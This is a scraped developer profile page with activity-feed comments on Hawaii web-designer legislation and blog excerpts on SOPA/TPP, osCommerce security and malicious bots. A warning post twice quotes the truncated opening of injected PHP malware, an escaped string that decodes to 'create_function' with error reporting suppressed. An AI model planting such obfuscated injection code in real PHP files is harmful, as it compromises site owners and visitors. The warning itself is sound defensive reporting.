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$zend_framework crack

Watch out for a new server infection.  No one is sure but it is thought it begins with brute force guessing of a wordpress login. Then every php file is prepended with: <?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework(   ...This apparently inserts a malicious snippet of java into your wordpress pages - that you do not see but which infects the user's computer.At the same time, blank users are created for wp-admin…See More
Jun 16, 2013
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Mar 31, 2013
Karen Chun posted a blog post

Son of SOPA

They're baaaack! We fought SOPA but now the media companies have come up with something even worse - and they're trying to get it through via the Trans-Pacific Partnership Treaty. https://www.eff.org/issues/tppSee More
Jun 27, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"Sorry Daniela.  I guess I misinterpreted what you meant when you said, "You spend some time doing what I do, then tell me I am over dramatizing. If you are going to come at me do some research. ""
Feb 21, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"Daniela - I have been a website designer since the internet was opened to the public (and even before that,  I used DARPA).  Prior to that I was a game programmer.  Prior to that I wrote the programs that were used in running a huge…"
Feb 21, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"BTW Bravo Jon!   (and I liked the typo!) We have a situation where a buyer was AWARE (or should have been aware) that she was dealing with a loose cannon.  Pine is alleged not to have paid this loose cannon.  The guy then substituted…"
Feb 21, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"oh good lord, Daniela.  First, cut the histrionics.  Then name ONE incident in Hawaii where a web designer did some awful irreparable harm to someone.  Even Rep Pine's "Kym Pine is a Crook" website isn't doing much…"
Feb 21, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"Look, just because Rep Pine can't get fast satisfaction in her vendetta against her ex-website designer, that is no reason to put a huge layer of bureaucracy on all the web designers in Hawai'i. I thought you GOP guys were all about SMALL…"
Feb 20, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"WHAT crime?  Are website designers running wild carjacking people?  What crime?"
Feb 20, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"@Daniela " We need to look at ourselves like any other contractor.  If you hire your neighbors kid to install you electricity and they are unlicensed and your house burns down, they should get in trouble. "Good lord, are you even a…"
Feb 20, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"Daniela - this advice is meant in  good will and from someone much older than Rep Pine.  She should drop all the bills since it just publicizes her fight with her ex-web designer.  She should also ignore him rather than getting into…"
Feb 19, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"And if you are trying to sell us on these bills being all high-minded law enforcement driven -- sorry.  Introduction of these bills only served to blacken Rep Pine's reputation and make her a national laughing stock.  She would have…"
Feb 19, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"Jared, you can try to whitewash Pine and Mizuno but their histories show them to be legislators who favor oppressive laws which violate if not the letter of the Bill of Rights, at least the spirit of the Bill of Rights.  For instance, Mizuno…"
Feb 19, 2012
Karen Chun commented on Daniela Stolfi's blog post From Rep. Kym Pine to TechHui
"Rep Pine.  I'm sure if law enforcement had its way, they'd totally eliminate the requirement to get warrants prior to phone tapping, searching citizens' homes, etc. That does not excuse a lawmaker from responsibility for…"
Feb 19, 2012
Karen Chun commented on Daniel Leuck's blog post Hawaii Lawmakers' Assault on Web Privacy
"[continued] So just to be clear, I would never do what Rep Pine's website designer did. But now I am going on to defend him and explain why is use of her "unauthorized material" should NOT expose him to a felony indictment, as Rep…"
Feb 19, 2012
Karen Chun commented on Daniel Leuck's blog post Hawaii Lawmakers' Assault on Web Privacy
"Jon makes really good points. Rep Pine introduced the "Make using unauthorized material a felony" bill because she is completely ignorant of what a web designer does and what laws already cover them. She foolishly used a web designer who…"
Feb 19, 2012

Profile Information

Occupation:
Web Developer
Company:
Karen Chun Website Design
Areas of Interest (Robotics, Software Architecture, Green Energy, Web 2.0, etc.):
Customizing wordpress and oscommerce. Javascript games.
Software Language Proficiencies / Interests:
C, Fortran, HTML, Java, Javascript, PHP, SQL
About Me:
Founded Redwood Games and developed Word Rescue, Math Rescue, Talking ABC's, Rescue the Scientist, Pickle Wars.
Website:
http://karenchun.com
Secondary Website:
http://redwoodgames.com

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$zend_framework crack

Watch out for a new server infection.  No one is sure but it is thought it begins with brute force guessing of a wordpress login.



Then every php file is prepended with:



<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework(  

...

This apparently inserts a malicious snippet of java into your wordpress pages - that you do not see but which infects the user's computer.

At the same…

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Posted on June 16, 2013 at 9:39pm

Son of SOPA

They're baaaack! We fought SOPA but now the media companies have come up with something even worse - and they're trying to get it through via the Trans-Pacific Partnership Treaty. https://www.eff.org/issues/tpp

Posted on June 27, 2012 at 10:43am

Securing Your Oscommerce Site



Off-the-shelf oscommerce is inherently hackable.  But you can secure it by following these steps:

 

Steps 1, 2 and 3 are absolutely essential. Step 4 is important if you're using any oscommerce contributions (e.g. community supplied modifications and enhancements) but it is a good idea anyway because it adds extra protection from SQL injection hacks.

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Posted on May 5, 2011 at 1:30pm — 9 Comments

Watching for Malicious Bots

 

It's instructive to watch the various malicious bots troll through your server looking for vulnerabilities.  Woe betide you if they find one!  Even Wordpress.com has been hacked.  Prior to that, at the beginning of this year, a significant number of stand alone Wordpress installations were hacked when their owners did not update to the newest security release.

Here's how you can recognize a malicious bot.  If you are using Cpanel, go to "Error Log".  You'll see a whole list…

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Posted on May 2, 2011 at 2:05pm — 4 Comments

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